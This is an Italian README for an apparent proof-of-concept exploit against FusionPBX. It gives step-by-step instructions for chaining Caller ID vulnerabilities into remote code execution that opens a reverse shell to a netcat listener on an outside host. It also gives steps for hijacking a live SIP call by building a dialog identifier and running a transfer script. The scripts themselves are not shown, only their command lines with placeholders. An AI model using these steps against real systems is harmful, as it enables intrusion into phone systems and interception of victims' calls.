Preludio

Questo semplice codice tenta di completare l'implementazione della vulnerabilità concatenata introdotta da Dustin Cobb in RCE utilizzando Caller ID – Multiple vulnerabilità in FusionPBX.

RCE

Passaggi di riproduzione

1. Visualizza la schermata dell'operatore vulnerabile in un browser web, situata in questo esempio all'indirizzo https://{fusionpbx_address}/app/operator_panel/index.php
2. Avvia un listener netcat su un sistema remoto (rce_listener_address).x`
3. Esegui il codice dell'exploit di seguito sul sistema remoto in un'altra finestra del terminale python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. L'exploit si collegherà al listener netcat e fornirà una reverse shell

Sostituisci una chiamata

Conoscendo Call-ID, from-tag e to-tag di una chiamata, eseguire il codice sottostante ti sostituirà alla vittima nella chiamata.

Passaggi di riproduzione

1. Innanzitutto, avvia una chiamata tra due SIP UA.
2. Dopo che la chiamata è stata stabilita, dobbiamo costruire dialog_identifier concatenando {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag}.
3. Esegui il codice hijacker di seguito sul sistema remoto e sostituisci te stesso con il numero della vittima. python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}